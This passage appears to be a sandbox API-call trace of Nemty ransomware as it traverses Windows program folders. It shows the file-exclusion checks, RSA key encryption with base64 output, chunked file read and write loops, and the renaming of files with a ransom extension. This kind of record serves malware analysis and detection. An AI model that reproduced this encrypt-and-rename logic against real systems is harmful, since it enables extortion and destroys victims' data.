nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0117.155] CloseHandle (hObject=0xffffffff) returned 0 [0117.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0117.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0117.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0117.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0117.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png._nemty_kgobjgd_")) returned 0 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0117.156] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a2b99d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a2b99d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2880d64b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="modern_m.png", cAlternateFileName="")) returned 1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2=".") returned 1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="..") returned 1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="...") returned 1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="windows") returned -1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="$RECYCLE.BIN") returned 1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="rsa") returned -1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="NTDETECT.COM") returned -1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="ntldr") returned -1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="MSDOS.SYS") returned -1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="IO.SYS") returned 1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="boot.ini") returned 1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="boot.ini") returned 1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="AUTOEXEC.BAT") returned 1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="ntuser.dat") returned -1 [0117.156] lstrcmpiW (lpString1="modern_m.png", lpString2="desktop.ini") returned 1 [0117.157] lstrcmpiW (lpString1="modern_m.png", lpString2="CONFIG.SYS") returned 1 [0117.157] lstrcmpiW (lpString1="modern_m.png", lpString2="RECYCLER") returned -1 [0117.157] lstrcmpiW (lpString1="modern_m.png", lpString2="BOOTSECT.BAK") returned 1 [0117.157] lstrcmpiW (lpString1="modern_m.png", lpString2="bootmgr") returned 1 [0117.157] lstrcmpiW (lpString1="modern_m.png", lpString2="programdata") returned -1 [0117.157] lstrcmpiW (lpString1="modern_m.png", lpString2="appdata") returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_m.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_m.png", lpUsedDefaultChar=0x0) returned 12 [0117.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_m.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_m.png", lpUsedDefaultChar=0x0) returned 12 [0117.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_m.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_m.png", lpUsedDefaultChar=0x0) returned 12 [0117.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_m.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_m.png", lpUsedDefaultChar=0x0) returned 12 [0117.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0117.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0117.157] Sleep (dwMilliseconds=0x5) [0117.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf97c3c50, dwHighDateTime=0x1d561e7)) [0117.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf97c3c50, dwHighDateTime=0x1d561e7)) [0117.173] GetLastError () returned 0x5 [0117.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0117.173] GetLastError () returned 0x5 [0117.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.173] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0117.173] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0117.173] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0117.173] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="5A8g+W1sQqtxYq3ZDMvqeQ0IJvMkdRb25D0kN2fmlqHRbc1xYpoa16C3TW1APrbi\r\nbz2CNIFB94N33SViTAF/xLGimYlwtn4iYwxvNgklXfcfzkMcOA7EAWfYn+RNEJqv\r\nD1BesY3/p4CXjadt+XL9tDnq1usKax8Xl2tm8ewGsBSoy/DIy8xICQUKfhTu1FAc\r\nEThyzkllGL5+XQ7KHxDfJ22gbmXfh+DEwRLVdFJKsBvnn5yakYtlujcIf7EwE9Ga\r\nsFlgORXzXWWFB1wQEGq9O2/iOgFxJ+9VJhS1IF5Uj9uXCbdnVuvn9pXWgGs+wFf/\r\njQ+DrJybu518RPZHVxLKtQ==\r\n", pcchString=0x653e91c) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0117.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0117.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0117.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0117.174] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.174] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0117.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0117.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.260] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.269] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.275] SetFilePointer (in: hFile=0xffffffff, 